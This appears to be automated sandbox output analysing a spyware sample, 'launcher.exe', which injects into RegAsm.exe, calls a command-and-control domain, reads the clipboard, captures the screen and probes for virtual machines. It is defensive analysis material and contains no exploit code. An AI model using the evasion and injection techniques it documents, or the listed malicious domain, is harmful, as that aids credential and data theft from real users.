Source: RegAsm.exe, 00000002.00000002.1805056555.0000000001196000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://productivelookewr.shop/%
Source: RegAsm.exe, 00000002.00000002.1805056555.0000000001136000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1805200604.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://productivelookewr.shop/api
Source: RegAsm.exe, 00000002.00000002.1805424476.0000000003464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://productivelookewr.shop/apibu
Source: RegAsm.exe, 00000002.00000002.1805056555.0000000001196000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://productivelookewr.shop/o
Source: RegAsm.exe, 00000002.00000002.1805056555.000000000110A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://productivelookewr.shop:443/api
Source: launcher.exe	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042CA70 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042CA70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042CA70 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042CA70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042CC40 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_0042CC40

Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003BF060	0_2_003BF060
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003BA0F0	0_2_003BA0F0
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003AE2B6	0_2_003AE2B6
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00386430	0_2_00386430
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003A9AFE	0_2_003A9AFE
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00389590	0_2_00389590
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_0038D6B0	0_2_0038D6B0
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003B06FD	0_2_003B06FD
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00388720	0_2_00388720
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003B7780	0_2_003B7780
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003AD84F	0_2_003AD84F
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003A993B	0_2_003A993B
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003AB99F	0_2_003AB99F
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_0038B990	0_2_0038B990
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00373A69	0_2_00373A69
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003ABAB5	0_2_003ABAB5
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00388AF0	0_2_00388AF0
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003ABAC7	0_2_003ABAC7
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00395B20	0_2_00395B20
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003A5B24	0_2_003A5B24
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003A6B10	0_2_003A6B10
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_0038AC84	0_2_0038AC84
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003BED10	0_2_003BED10
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003A8DDB	0_2_003A8DDB
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003ACF18	0_2_003ACF18
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00389FE0	0_2_00389FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004216E0	2_2_004216E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401750	2_2_00401750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004328B0	2_2_004328B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00404BB0	2_2_00404BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00420FF2	2_2_00420FF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401000	2_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004246CE	2_2_004246CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00404160	2_2_00404160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042B2CD	2_2_0042B2CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004032F0	2_2_004032F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00408280	2_2_00408280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041D2B0	2_2_0041D2B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432350	2_2_00432350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042841F	2_2_0042841F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406560	2_2_00406560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042656F	2_2_0042656F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042450B	2_2_0042450B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004036C0	2_2_004036C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004106F0	2_2_004106F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004206F4	2_2_004206F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00426685	2_2_00426685
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00426697	2_2_00426697
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041D6B2	2_2_0041D6B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004057D0	2_2_004057D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004398E0	2_2_004398E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004239AB	2_2_004239AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00427AE8	2_2_00427AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406C00	2_2_00406C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00439C30	2_2_00439C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00434CC0	2_2_00434CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00428E86	2_2_00428E86

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00409300 appears 140 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408D30 appears 49 times
Source: C:\Users\user\Desktop\launcher.exe	Code function: String function: 00365380 appears 48 times
Source: C:\Users\user\Desktop\launcher.exe	Code function: String function: 0038E160 appears 50 times
Source: C:\Users\user\Desktop\launcher.exe	Code function: String function: 0038E730 appears 140 times

Source: C:\Users\user\Desktop\launcher.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7444 -s 596

Source: launcher.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: launcher.exe

Static PE information: Section: .data ZLIB complexity 0.9890009945561139

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/5@2/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004298A2 CoCreateInstance,

2_2_004298A2

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7444

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\8839649a-98fa-48ca-bbba-bbba5546635d

Jump to behavior

Source: launcher.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\launcher.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: launcher.exe

Virustotal: Detection: 22%

Source: unknown	Process created: C:\Users\user\Desktop\launcher.exe "C:\Users\user\Desktop\launcher.exe"
Source: C:\Users\user\Desktop\launcher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\launcher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\launcher.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7444 -s 596
Source: C:\Users\user\Desktop\launcher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: launcher.exe

Static file information: File size 26684528 > 1048576

Source: launcher.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: launcher.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00364B09 push ecx; ret	0_2_00364B1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044113C pushfd ; ret	2_2_0044113D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044118D push esp; ret	2_2_00441191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043EB98 push ebp; iretd	2_2_0043EBCF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\launcher.exe

API coverage: 8.6 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7492

Thread sleep time: -90000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\launcher.exe

Code function: 0_2_003749E4 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_003749E4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\ConnectedDevicesPlatform	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\.ms-ad	Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: RegAsm.exe, 00000002.00000002.1805056555.000000000115A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG%u
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: RegAsm.exe, 00000002.00000002.1805056555.000000000115A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1805056555.000000000110A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
